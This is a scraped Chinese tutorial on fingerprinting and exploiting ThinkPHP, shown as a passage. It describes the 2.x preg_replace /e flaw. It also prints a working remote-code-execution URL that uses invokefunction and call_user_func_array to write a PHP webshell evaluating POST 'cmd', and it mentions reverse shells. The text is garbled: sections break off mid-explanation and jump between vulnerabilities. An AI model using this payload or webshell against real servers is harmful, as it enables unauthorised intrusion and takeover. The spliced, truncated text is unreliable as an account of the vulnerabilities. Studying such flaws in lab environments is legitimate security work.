从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

您所在的位置:网站首页 RCE漏洞修复详解 从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

2024-07-11 12:25| 来源: 网络整理| 查看: 265

上一篇spring反响不错,今天更新thinkphp全漏洞

spring

麋鹿,公众号:麋鹿安全从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具

还是按照之前的文章结构

文章目录

框架介绍何为thinkphp,在哪会遇到thinkphp识别spring如何在实战中快速分辨thinkphp框架漏洞列表thinkphp漏洞全版本漏洞环境搭建vulhub+vulfocus(见上一篇spring)漏洞复现1.如何识别当前站点是否存在漏洞2.哪些版本(情况)存在该漏洞3.漏洞指纹特征⭐4.如何复现5.如何实现自动化工具1.指纹识别工具

2.综合利用工具

零-thinkphp的前世今生

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

  ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

  作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。

总结一下:国人开发的框架,上手简单,开发成本低,搭建容易

所以,tp框架常见于一些违法网站上面

tp版本信息

图片

文档中心 · ThinkPHP    这是tp的官方文档,包含了框架一些基本知识,一些必要的知识我会在复现过程中一一讲解,不过还是建议自己去看一下文档

一-识别tp框架(指纹) 1.1 ioc判断

/favicon.ico

图片

1.2报错

图片

图片

1.3错误传参

图片

图片

1.4特殊指纹出现logo

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

图片

/4e5e5d7364f443e28fbf0d3ae744a59a

图片

p3.1和3.2版本

4e5e5d7364f443e28fbf0d3ae744a59a-index.html

1.5 body特征

body里有"十年磨一剑" 或者"ThinkPHP"

1.6插件

图片

二-漏洞列表 ThinkPHP 2.x 任意代码执行漏洞 ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce) ThinkPHP5 SQL注入漏洞 & 敏感信息泄露 ThinkPHP 5.0.23 远程代码执行漏洞 ThinkPHP3.2.x RCEthinkphp lang 命令执行

ThinkPHP 2.x 任意代码执行漏洞 1 漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

什么是preg_replace 函数

这个函数是个替换函数,而且支持正则,使用方式如下:

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

下面是搜索到的关于/e的解释:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式,此为PHP专有参数,例如preg_replace函数。 任何使用 举例 进行编码然后拼接

http://192.168.233.131:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E

图片

访问milu.php

图片

后面反弹shell这些和前面一样

图片

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

1 漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

这里具体讲一下漏洞产生的过程吧

漏洞附近代码如下



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3